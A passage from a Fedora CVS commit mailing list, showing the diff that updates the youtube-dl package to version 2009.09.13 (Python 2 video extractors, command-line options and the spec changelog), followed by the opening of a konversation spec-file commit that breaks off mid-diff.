+	title:		Literal title.
+	stitle:		Simplified title.
+	ext:		Video filename extension.
+
+	Subclasses of this one should re-define the _real_initialize() and
+	_real_extract() methods, as well as the suitable() static method.
+	Probably, they should also be instantiated and added to the main
+	downloader.
+	"""
+
+	_ready = False
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		"""Constructor. Receives an optional downloader."""
+		self._ready = False
+		self.set_downloader(downloader)
+
+	@staticmethod
+	def suitable(url):
+		"""Receives a URL and returns True if suitable for this IE."""
+		return False
+
+	def initialize(self):
+		"""Initializes an instance (authentication, etc)."""
+		if not self._ready:
+			self._real_initialize()
+			self._ready = True
+
+	def extract(self, url):
+		"""Extracts URL information and returns it in list of dicts."""
+		self.initialize()
+		return self._real_extract(url)
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this IE."""
+		self._downloader = downloader
+	
+	def _real_initialize(self):
+		"""Real initialization process. Redefine in subclasses."""
+		pass
+
+	def _real_extract(self, url):
+		"""Real extraction process. Redefine in subclasses."""
+		pass
+
+class YoutubeIE(InfoExtractor):
+	"""Information extractor for youtube.com."""
+
+	_VALID_URL = r'^((?:http://)?(?:\w+\.)?youtube\.com/(?:(?:v/)|(?:(?:watch(?:\.php)?)?\?(?:.+&)?v=)))?([0-9A-Za-z_-]+)(?(1).+)?$'
+	_LANG_URL = r'http://uk.youtube.com/?hl=en&persist_hl=1&gl=US&persist_gl=1&opt_out_ackd=1'
+	_LOGIN_URL = 'http://www.youtube.com/signup?next=/&gl=US&hl=en'
+	_AGE_URL = 'http://www.youtube.com/verify_age?next_url=/&gl=US&hl=en'
+	_NETRC_MACHINE = 'youtube'
+	_available_formats = ['22', '35', '18', '5', '17', '13', None] # listed in order of priority for -b flag
+	_video_extensions = {
+		'13': '3gp',
+		'17': 'mp4',
+		'18': 'mp4',
+		'22': 'mp4',
+	}
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeIE._VALID_URL, url) is not None)
+
+	@staticmethod
+	def htmlentity_transform(matchobj):
+		"""Transforms an HTML entity to a Unicode character."""
+		entity = matchobj.group(1)
+
+		# Known non-numeric HTML entity
+		if entity in htmlentitydefs.name2codepoint:
+			return unichr(htmlentitydefs.name2codepoint[entity])
+
+		# Unicode character
+		mobj = re.match(ur'(?u)#(x?\d+)', entity)
+		if mobj is not None:
+			numstr = mobj.group(1)
+			if numstr.startswith(u'x'):
+				base = 16
+				numstr = u'0%s' % numstr
+			else:
+				base = 10
+			return unichr(long(numstr, base))
+
+		# Unknown entity in name, return its literal representation
+		return (u'&%s;' % entity)
+
+	def report_lang(self):
+		"""Report attempt to set language."""
+		self._downloader.to_stdout(u'[youtube] Setting language')
+
+	def report_login(self):
+		"""Report attempt to log in."""
+		self._downloader.to_stdout(u'[youtube] Logging in')
+	
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[youtube] Confirming age')
+	
+	def report_video_info_webpage_download(self, video_id):
+		"""Report attempt to download video info webpage."""
+		self._downloader.to_stdout(u'[youtube] %s: Downloading video info webpage' % video_id)
+	
+	def report_information_extraction(self, video_id):
+		"""Report attempt to extract video information."""
+		self._downloader.to_stdout(u'[youtube] %s: Extracting video information' % video_id)
+	
+	def report_unavailable_format(self, video_id, format):
+		"""Report extracted video URL."""
+		self._downloader.to_stdout(u'[youtube] %s: Format %s not available' % (video_id, format))
+	
+	def _real_initialize(self):
+		if self._downloader is None:
+			return
+
+		username = None
+		password = None
+		downloader_params = self._downloader.params
+
+		# Attempt to use provided username and password or .netrc data
+		if downloader_params.get('username', None) is not None:
+			username = downloader_params['username']
+			password = downloader_params['password']
+		elif downloader_params.get('usenetrc', False):
+			try:
+				info = netrc.netrc().authenticators(self._NETRC_MACHINE)
+				if info is not None:
+					username = info[0]
+					password = info[2]
+				else:
+					raise netrc.NetrcParseError('No authenticators for %s' % self._NETRC_MACHINE)
+			except (IOError, netrc.NetrcParseError), err:
+				self._downloader.to_stderr(u'WARNING: parsing .netrc: %s' % str(err))
+				return
+
+		# Set language
+		request = urllib2.Request(self._LANG_URL, None, std_headers)
+		try:
+			self.report_lang()
+			urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to set language: %s' % str(err))
+			return
+
+		# No authentication to be performed
+		if username is None:
+			return
+
+		# Log in
+		login_form = {
+				'current_form': 'loginForm',
+				'next':		'/',
+				'action_login':	'Log In',
+				'username':	username,
+				'password':	password,
+				}
+		request = urllib2.Request(self._LOGIN_URL, urllib.urlencode(login_form), std_headers)
+		try:
+			self.report_login()
+			login_results = urllib2.urlopen(request).read()
+			if re.search(r'(?i)<form[^>]* name="loginForm"', login_results) is not None:
+				self._downloader.to_stderr(u'WARNING: unable to log in: bad username or password')
+				return
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.to_stderr(u'WARNING: unable to log in: %s' % str(err))
+			return
+	
+		# Confirm age
+		age_form = {
+				'next_url':		'/',
+				'action_confirm':	'Confirm',
+				}
+		request = urllib2.Request(self._AGE_URL, urllib.urlencode(age_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			age_results = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+
+	def _real_extract(self, url):
+		# Extract video id from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+		video_id = mobj.group(2)
+
+		# Downloader parameters
+		best_quality = False
+		format_param = None
+		quality_index = 0
+		if self._downloader is not None:
+			params = self._downloader.params
+			format_param = params.get('format', None)
+			if format_param == '0':
+				format_param = self._available_formats[quality_index]
+				best_quality = True
+
+		while True:
+			# Extension
+			video_extension = self._video_extensions.get(format_param, 'flv')
+
+			# Get video info
+			video_info_url = 'http://www.youtube.com/get_video_info?&video_id=%s&el=detailpage&ps=default&eurl=&gl=US&hl=en' % video_id
+			request = urllib2.Request(video_info_url, None, std_headers)
+			try:
+				self.report_video_info_webpage_download(video_id)
+				video_info_webpage = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download video info webpage: %s' % str(err))
+				return
+			self.report_information_extraction(video_id)
+
+			# "t" param
+			mobj = re.search(r'(?m)&token=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				# Attempt to see if YouTube has issued an error message
+				mobj = re.search(r'(?m)&reason=([^&]+)(?:&|$)', video_info_webpage)
+				if mobj is None:
+					self._downloader.trouble(u'ERROR: unable to extract "t" parameter for unknown reason')
+					stream = open('reportme-ydl-%s.dat' % time.time(), 'wb')
+					stream.write(video_info_webpage)
+					stream.close()
+				else:
+					reason = urllib.unquote_plus(mobj.group(1))
+					self._downloader.trouble(u'ERROR: YouTube said: %s' % reason.decode('utf-8'))
+				return
+			token = urllib.unquote(mobj.group(1))
+			video_real_url = 'http://www.youtube.com/get_video?video_id=%s&t=%s&eurl=&el=detailpage&ps=default&gl=US&hl=en' % (video_id, token)
+			if format_param is not None:
+				video_real_url = '%s&fmt=%s' % (video_real_url, format_param)
+
+			# uploader
+			mobj = re.search(r'(?m)&author=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+				return
+			video_uploader = urllib.unquote(mobj.group(1))
+
+			# title
+			mobj = re.search(r'(?m)&title=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract video title')
+				return
+			video_title = urllib.unquote(mobj.group(1))
+			video_title = video_title.decode('utf-8')
+			video_title = re.sub(ur'(?u)&(.+?);', self.htmlentity_transform, video_title)
+			video_title = video_title.replace(os.sep, u'%')
+
+			# simplified title
+			simple_title = re.sub(ur'(?u)([^%s]+)' % simple_title_chars, ur'_', video_title)
+			simple_title = simple_title.strip(ur'_')
+
+			try:
+				# Process video information
+				self._downloader.process_info({
+					'id':		video_id.decode('utf-8'),
+					'url':		video_real_url.decode('utf-8'),
+					'uploader':	video_uploader.decode('utf-8'),
+					'title':	video_title,
+					'stitle':	simple_title,
+					'ext':		video_extension.decode('utf-8'),
+				})
+
+				return
+
+			except UnavailableFormatError, err:
+				if best_quality:
+					if quality_index == len(self._available_formats) - 1:
+						# I don't ever expect this to happen
+						self._downloader.trouble(u'ERROR: no known formats available for video')
+						return
+					else:
+						self.report_unavailable_format(video_id, format_param)
+						quality_index += 1
+						format_param = self._available_formats[quality_index]
+						continue
+				else: 
+					self._downloader.trouble('ERROR: format not available for video')
+					return
+
+
+class MetacafeIE(InfoExtractor):
+	"""Information Extractor for metacafe.com."""
+
+	_VALID_URL = r'(?:http://)?(?:www\.)?metacafe\.com/watch/([^/]+)/([^/]+)/.*'
+	_DISCLAIMER = 'http://www.metacafe.com/family_filter/'
+	_FILTER_POST = 'http://www.metacafe.com/f/index.php?inputType=filter&controllerGroup=user'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(MetacafeIE._VALID_URL, url) is not None)
+
+	def report_disclaimer(self):
+		"""Report disclaimer retrieval."""
+		self._downloader.to_stdout(u'[metacafe] Retrieving disclaimer')
+
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[metacafe] Confirming age')
+	
+	def report_download_webpage(self, video_id):
+		"""Report webpage download."""
+		self._downloader.to_stdout(u'[metacafe] %s: Downloading webpage' % video_id)
+	
+	def report_extraction(self, video_id):
+		"""Report information extraction."""
+		self._downloader.to_stdout(u'[metacafe] %s: Extracting information' % video_id)
+
+	def _real_initialize(self):
+		# Retrieve disclaimer
+		request = urllib2.Request(self._DISCLAIMER, None, std_headers)
+		try:
+			self.report_disclaimer()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to retrieve disclaimer: %s' % str(err))
+			return
+
+		# Confirm age
+		disclaimer_form = {
+			'filters': '0',
+			'submit': "Continue - I'm over 18",
+			}
+		request = urllib2.Request(self._FILTER_POST, urllib.urlencode(disclaimer_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+	
+	def _real_extract(self, url):
+		# Extract id and simplified title from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+
+		video_id = mobj.group(1)
+
+		# Check if video comes from YouTube
+		mobj2 = re.match(r'^yt-(.*)$', video_id)
+		if mobj2 is not None:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % mobj2.group(1))
+			return
+
+		simple_title = mobj.group(2).decode('utf-8')
+		video_extension = 'flv'
+
+		# Retrieve video webpage to extract further information
+		request = urllib2.Request('http://www.metacafe.com/watch/%s/' % video_id)
+		try:
+			self.report_download_webpage(video_id)
+			webpage = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable retrieve video webpage: %s' % str(err))
+			return
+
+		# Extract URL, uploader and title from webpage
+		self.report_extraction(video_id)
+		mobj = re.search(r'(?m)&mediaURL=([^&]+)', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract media URL')
+			return
+		mediaURL = urllib.unquote(mobj.group(1))
+
+		#mobj = re.search(r'(?m)&gdaKey=(.*?)&', webpage)
+		#if mobj is None:
+		#	self._downloader.trouble(u'ERROR: unable to extract gdaKey')
+		#	return
+		#gdaKey = mobj.group(1)
+		#
+		#video_url = '%s?__gda__=%s' % (mediaURL, gdaKey)
+
+		video_url = mediaURL
+
+		mobj = re.search(r'(?im)<title>(.*) - Video</title>', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract title')
+			return
+		video_title = mobj.group(1).decode('utf-8')
+
+		mobj = re.search(r'(?ms)<li id="ChnlUsr">.*?Submitter:.*?<a .*?>(.*?)<', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+			return
+		video_uploader = mobj.group(1)
+
+		try:
+			# Process video information
+			self._downloader.process_info({
+				'id':		video_id.decode('utf-8'),
+				'url':		video_url.decode('utf-8'),
+				'uploader':	video_uploader.decode('utf-8'),
+				'title':	video_title,
+				'stitle':	simple_title,
+				'ext':		video_extension.decode('utf-8'),
+			})
+		except UnavailableFormatError:
+			self._downloader.trouble(u'ERROR: format not available for video')
+
+
+class YoutubeSearchIE(InfoExtractor):
+	"""Information Extractor for YouTube search queries."""
+	_VALID_QUERY = r'ytsearch(\d+|all)?:[\s\S]+'
+	_TEMPLATE_URL = 'http://www.youtube.com/results?search_query=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'href="/watch\?v=.+?"'
+	_MORE_PAGES_INDICATOR = r'(?m)>\s*Next\s*</a>'
+	_youtube_ie = None
+	_max_youtube_results = 1000
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeSearchIE._VALID_QUERY, url) is not None)
+
+	def report_download_page(self, query, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] query "%s": Downloading page %s' % (query, pagenum))
 
-	try:
-		video_file = open(video_filename, 'wb')
-	except (IOError, OSError):
-		sys.exit('Error: unable to open "%s" for writing.' % video_filename)
-	try:
-		video_len = long(video_data.info()['Content-length'])
-		video_len_str = format_bytes(video_len)
-	except KeyError:
-		video_len = None
-		video_len_str = 'N/A'
-
-	byte_counter = 0
-	block_size = const_initial_block_size
-	start_time = time.time()
-	while True:
-		if video_len is not None:
-			percent = float(byte_counter) / float(video_len) * 100.0
-			percent_str = '%.1f' % percent
-			eta_str = calc_eta(start_time, time.time(), video_len, byte_counter)
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, query):
+		mobj = re.match(self._VALID_QUERY, query)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid search query "%s"' % query)
+			return
+
+		prefix, query = query.split(':')
+		prefix = prefix[8:]
+		if prefix == '':
+			self._download_n_results(query, 1)
+			return
+		elif prefix == 'all':
+			self._download_n_results(query, self._max_youtube_results)
+			return
 		else:
-			percent_str = '---.-'
-			eta_str = '--:--'
-		counter = format_bytes(byte_counter)
-		speed_str = calc_speed(start_time, time.time(), byte_counter)
-		cond_print('\rRetrieving video data: %5s%% (%8s of %s) at %8s/s ETA %s ' % (percent_str, counter, video_len_str, speed_str, eta_str))
-
-		before = time.time()
-		video_block = video_data.read(block_size)
-		after = time.time()
-		dl_bytes = len(video_block)
-		if dl_bytes == 0:
-			break
-		byte_counter += dl_bytes
-		video_file.write(video_block)
-		block_size = new_block_size(before, after, dl_bytes)
-
-	if video_len is not None and byte_counter != video_len:
-		error_advice_exit('server did not send the expected ammount of data')
-
-	video_file.close()
-	cond_print('done.\n')
-	cond_print('Video data saved to %s\n' % video_filename)
-
-except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-	cond_print('failed.\n')
-	error_advice_exit('unable to download video data')
+			try:
+				n = long(prefix)
+				if n <= 0:
+					self._downloader.trouble(u'ERROR: invalid download number %s for query "%s"' % (n, query))
+					return
+				elif n > self._max_youtube_results:
+					self._downloader.to_stderr(u'WARNING: ytsearch returns max %i results (you requested %i)'  % (self._max_youtube_results, n))
+					n = self._max_youtube_results
+				self._download_n_results(query, n)
+				return
+			except ValueError: # parsing prefix as integer fails
+				self._download_n_results(query, 1)
+				return
+
+	def _download_n_results(self, query, n):
+		"""Downloads a specified number of results for a query"""
+
+		video_ids = []
+		already_seen = set()
+		pagenum = 1
+
+		while True:
+			self.report_download_page(query, pagenum)
+			result_url = self._TEMPLATE_URL % (urllib.quote_plus(query), pagenum)
+			request = urllib2.Request(result_url, None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				video_id = page[mobj.span()[0]:mobj.span()[1]].split('=')[2][:-1]
+				if video_id not in already_seen:
+					video_ids.append(video_id)
+					already_seen.add(video_id)
+					if len(video_ids) == n:
+						# Specified n videos reached
+						for id in video_ids:
+							self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+						return
+
+			if re.search(self._MORE_PAGES_INDICATOR, page) is None:
+				for id in video_ids:
+					self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+				return
+
+			pagenum = pagenum + 1
+
+class YoutubePlaylistIE(InfoExtractor):
+	"""Information Extractor for YouTube playlists."""
+
+	_VALID_URL = r'(?:http://)?(?:\w+\.)?youtube.com/(?:view_play_list|my_playlists)\?.*?p=([^&]+).*'
+	_TEMPLATE_URL = 'http://www.youtube.com/view_play_list?p=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'/watch\?v=(.+?)&'
+	_MORE_PAGES_INDICATOR = r'/view_play_list?p=%s&page=%s'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubePlaylistIE._VALID_URL, url) is not None)
+
+	def report_download_page(self, playlist_id, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] PL %s: Downloading page #%s' % (playlist_id, pagenum))
 
-except KeyboardInterrupt:
-	sys.exit('\n')
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, url):
+		# Extract playlist id
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid url: %s' % url)
+			return
+
+		# Download playlist pages
+		playlist_id = mobj.group(1)
+		video_ids = []
+		pagenum = 1
+
+		while True:
+			self.report_download_page(playlist_id, pagenum)
+			request = urllib2.Request(self._TEMPLATE_URL % (playlist_id, pagenum), None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			ids_in_page = []
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				if mobj.group(1) not in ids_in_page:
+					ids_in_page.append(mobj.group(1))
+			video_ids.extend(ids_in_page)
+
+			if (self._MORE_PAGES_INDICATOR % (playlist_id.upper(), pagenum + 1)) not in page:
+				break
+			pagenum = pagenum + 1
+
+		for id in video_ids:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+		return
+
+class PostProcessor(object):
+	"""Post Processor class.
+
+	PostProcessor objects can be added to downloaders with their
+	add_post_processor() method. When the downloader has finished a
+	successful download, it will take its internal chain of PostProcessors
+	and start calling the run() method on each one of them, first with
+	an initial argument and then with the returned value of the previous
+	PostProcessor.
+
+	The chain will be stopped if one of them ever returns None or the end
+	of the chain is reached.
+
+	PostProcessor objects follow a "mutual registration" process similar
+	to InfoExtractor objects.
+	"""
+
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		self._downloader = downloader
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this PP."""
+		self._downloader = downloader
+	
+	def run(self, information):
+		"""Run the PostProcessor.
 
-# Finish
-sys.exit()
+		The "information" argument is a dictionary like the ones
+		composed by InfoExtractors. The only difference is that this
+		one has an extra field called "filepath" that points to the
+		downloaded file.
+
+		When this method returns None, the postprocessing chain is
+		stopped. However, this method may return an information
+		dictionary that will be passed to the next postprocessing
+		object in the chain. It can be the one it received after
+		changing some fields.
+
+		In addition, this method may raise a PostProcessingError
+		exception that will be taken into account by the downloader
+		it was called from.
+		"""
+		return information # by default, do nothing
+	
+### MAIN PROGRAM ###
+if __name__ == '__main__':
+	try:
+		# Modules needed only when running the main program
+		import getpass
+		import optparse
+
+		# General configuration
+		urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
+		urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
+		socket.setdefaulttimeout(300) # 5 minutes should be enough (famous last words)
+
+		# Parse command line
+		parser = optparse.OptionParser(
+			usage='Usage: %prog [options] url...',
+			version='2009.09.13',
+			conflict_handler='resolve',
+		)
+
+		parser.add_option('-h', '--help',
+				action='help', help='print this help text and exit')
+		parser.add_option('-v', '--version',
+				action='version', help='print program version and exit')
+		parser.add_option('-i', '--ignore-errors',
+				action='store_true', dest='ignoreerrors', help='continue on download errors', default=False)
+		parser.add_option('-r', '--rate-limit',
+				dest='ratelimit', metavar='L', help='download rate limit (e.g. 50k or 44.6m)')
+
+		authentication = optparse.OptionGroup(parser, 'Authentication Options')
+		authentication.add_option('-u', '--username',
+				dest='username', metavar='UN', help='account username')
+		authentication.add_option('-p', '--password',
+				dest='password', metavar='PW', help='account password')
+		authentication.add_option('-n', '--netrc',
+				action='store_true', dest='usenetrc', help='use .netrc authentication data', default=False)
+		parser.add_option_group(authentication)
+
+		video_format = optparse.OptionGroup(parser, 'Video Format Options')
+		video_format.add_option('-f', '--format',
+				action='store', dest='format', metavar='FMT', help='video format code')
+		video_format.add_option('-b', '--best-quality',
+				action='store_const', dest='format', help='download the best quality video possible', const='0')
+		video_format.add_option('-m', '--mobile-version',
+				action='store_const', dest='format', help='alias for -f 17', const='17')
+		video_format.add_option('-d', '--high-def',
+				action='store_const', dest='format', help='alias for -f 22', const='22')
+		parser.add_option_group(video_format)
+
+		verbosity = optparse.OptionGroup(parser, 'Verbosity / Simulation Options')
+		verbosity.add_option('-q', '--quiet',
+				action='store_true', dest='quiet', help='activates quiet mode', default=False)
+		verbosity.add_option('-s', '--simulate',
+				action='store_true', dest='simulate', help='do not download video', default=False)
+		verbosity.add_option('-g', '--get-url',
+				action='store_true', dest='geturl', help='simulate, quiet but print URL', default=False)
+		verbosity.add_option('-e', '--get-title',
+				action='store_true', dest='gettitle', help='simulate, quiet but print title', default=False)
+		parser.add_option_group(verbosity)
+
+		filesystem = optparse.OptionGroup(parser, 'Filesystem Options')
+		filesystem.add_option('-t', '--title',
+				action='store_true', dest='usetitle', help='use title in file name', default=False)
+		filesystem.add_option('-l', '--literal',
+				action='store_true', dest='useliteral', help='use literal title in file name', default=False)
+		filesystem.add_option('-o', '--output',
+				dest='outtmpl', metavar='TPL', help='output filename template')
+		filesystem.add_option('-a', '--batch-file',
+				dest='batchfile', metavar='F', help='file containing URLs to download')
+		filesystem.add_option('-w', '--no-overwrites',
+				action='store_true', dest='nooverwrites', help='do not overwrite files', default=False)
+		filesystem.add_option('-c', '--continue',
+				action='store_true', dest='continue_dl', help='resume partially downloaded files', default=False)
+		parser.add_option_group(filesystem)
+
+		(opts, args) = parser.parse_args()
+
+		# Batch file verification
+		batchurls = []
+		if opts.batchfile is not None:
+			try:
+				batchurls = open(opts.batchfile, 'r').readlines()
+				batchurls = [x.strip() for x in batchurls]
+				batchurls = [x for x in batchurls if len(x) > 0]
+			except IOError:
+				sys.exit(u'ERROR: batch file could not be read')
+		all_urls = batchurls + args
+
+		# Conflicting, missing and erroneous options
+		if len(all_urls) < 1:
+			parser.error(u'you must provide at least one URL')
+		if opts.usenetrc and (opts.username is not None or opts.password is not None):
+			parser.error(u'using .netrc conflicts with giving username/password')
+		if opts.password is not None and opts.username is None:
+			parser.error(u'account username missing')
+		if opts.outtmpl is not None and (opts.useliteral or opts.usetitle):
+			parser.error(u'using output template conflicts with using title or literal title')
+		if opts.usetitle and opts.useliteral:
+			parser.error(u'using title conflicts with using literal title')
+		if opts.username is not None and opts.password is None:
+			opts.password = getpass.getpass(u'Type account password and press return:')
+		if opts.ratelimit is not None:
+			numeric_limit = FileDownloader.parse_bytes(opts.ratelimit)
+			if numeric_limit is None:
+				parser.error(u'invalid rate limit specified')
+			opts.ratelimit = numeric_limit
+
+		# Information extractors
+		youtube_ie = YoutubeIE()
+		metacafe_ie = MetacafeIE(youtube_ie)
+		youtube_pl_ie = YoutubePlaylistIE(youtube_ie)
+		youtube_search_ie = YoutubeSearchIE(youtube_ie)
+
+		# File downloader
+		fd = FileDownloader({
+			'usenetrc': opts.usenetrc,
+			'username': opts.username,
+			'password': opts.password,
+			'quiet': (opts.quiet or opts.geturl or opts.gettitle),
+			'forceurl': opts.geturl,
+			'forcetitle': opts.gettitle,
+			'simulate': (opts.simulate or opts.geturl or opts.gettitle),
+			'format': opts.format,
+			'outtmpl': ((opts.outtmpl is not None and opts.outtmpl.decode(preferredencoding()))
+				or (opts.usetitle and u'%(stitle)s-%(id)s.%(ext)s')
+				or (opts.useliteral and u'%(title)s-%(id)s.%(ext)s')
+				or u'%(id)s.%(ext)s'),
+			'ignoreerrors': opts.ignoreerrors,
+			'ratelimit': opts.ratelimit,
+			'nooverwrites': opts.nooverwrites,
+			'continuedl': opts.continue_dl,
+			})
+		fd.add_info_extractor(youtube_search_ie)
+		fd.add_info_extractor(youtube_pl_ie)
+		fd.add_info_extractor(metacafe_ie)
+		fd.add_info_extractor(youtube_ie)
+		retcode = fd.download(all_urls)
+		sys.exit(retcode)
+
+	except DownloadError:
+		sys.exit(1)
+	except SameFileError:
+		sys.exit(u'ERROR: fixed output name but more than one file to download')
+	except KeyboardInterrupt:
+		sys.exit(u'\nERROR: Interrupted by user')


Index: youtube-dl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/F-10/youtube-dl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- youtube-dl.spec	26 Jan 2008 11:33:26 -0000	1.1
+++ youtube-dl.spec	9 Oct 2009 16:27:29 -0000	1.2
@@ -1,13 +1,13 @@
 Name:           youtube-dl
-Version:        2008.01.24
-Release:        1%{?dist}
+Version:        2009.09.13
+Release:        2%{?dist}
 Summary:        Small command-line program to download videos from YouTube
 Summary(pl):    Tekstowy program do pobierania film?w z youtube.com
 Group:          Applications/Multimedia
-License:        MIT
-URL:            http://www.arrakis.es/~rggi3/youtube-dl/
-Source0:        http://www.arrakis.es/~rggi3/youtube-dl/youtube-dl
-Source1:        http://www.arrakis.es/~rggi3/youtube-dl/index.html
+License:        Public Domain
+URL:            http://bitbucket.org/rg3/youtube-dl
+Source0:        http://bitbucket.org/rg3/youtube-dl/raw/%{version}/youtube-dl
+Source1:        http://bitbucket.org/rg3/youtube-dl/wiki/Home
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 Requires:       python >= 2.4
@@ -20,7 +20,7 @@ youtube-dl to ma?y tekstowy program s?
 youtube.com.
 
 %prep
-cp %{SOURCE1} .
+install -p -m0644 %{SOURCE1} index.html
 
 %build
 #nothing to build
@@ -39,6 +39,19 @@ rm -rf $RPM_BUILD_ROOT
 %doc index.html
 
 %changelog
+* Fri Oct 09 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-2
+- Small fix in %%prep
+
+* Sun Sep 27 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-1
+- Update to 2009.09.13
+- License change to Public Domain
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2008.01.24-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2008.01.24-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Sat Jan 26 2008 Krzysztof Kurzawski <kurzawax at gmail.com> 2008.01.24-1
 - Update to v2008.01.24
 - Add polish summary and description.



From rdieter at fedoraproject.org  Fri Oct  9 16:29:28 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 16:29:28 +0000 (UTC)
Subject: rpms/konversation/F-12 .cvsignore, 1.12, 1.13 konversation.spec,
	1.36, 1.37 sources, 1.12, 1.13
Message-ID: <20091009162928.0DAFF11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/konversation/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20548/F-12

Modified Files:
	.cvsignore konversation.spec sources 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	3 Oct 2009 13:57:32 -0000	1.12
+++ .cvsignore	9 Oct 2009 16:29:27 -0000	1.13
@@ -1 +1 @@
-konversation-1.2-rc1.tar.bz2
+konversation-1.2.tar.bz2


Index: konversation.spec
===================================================================
RCS file: /cvs/pkgs/rpms/konversation/F-12/konversation.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- konversation.spec	3 Oct 2009 13:57:32 -0000	1.36
+++ konversation.spec	9 Oct 2009 16:29:27 -0000	1.37
@@ -1,9 +1,7 @@
 
-%define pre rc1 
-
 Name:           konversation
 Version:        1.2
-Release:        0.12.%{pre}%{?dist}
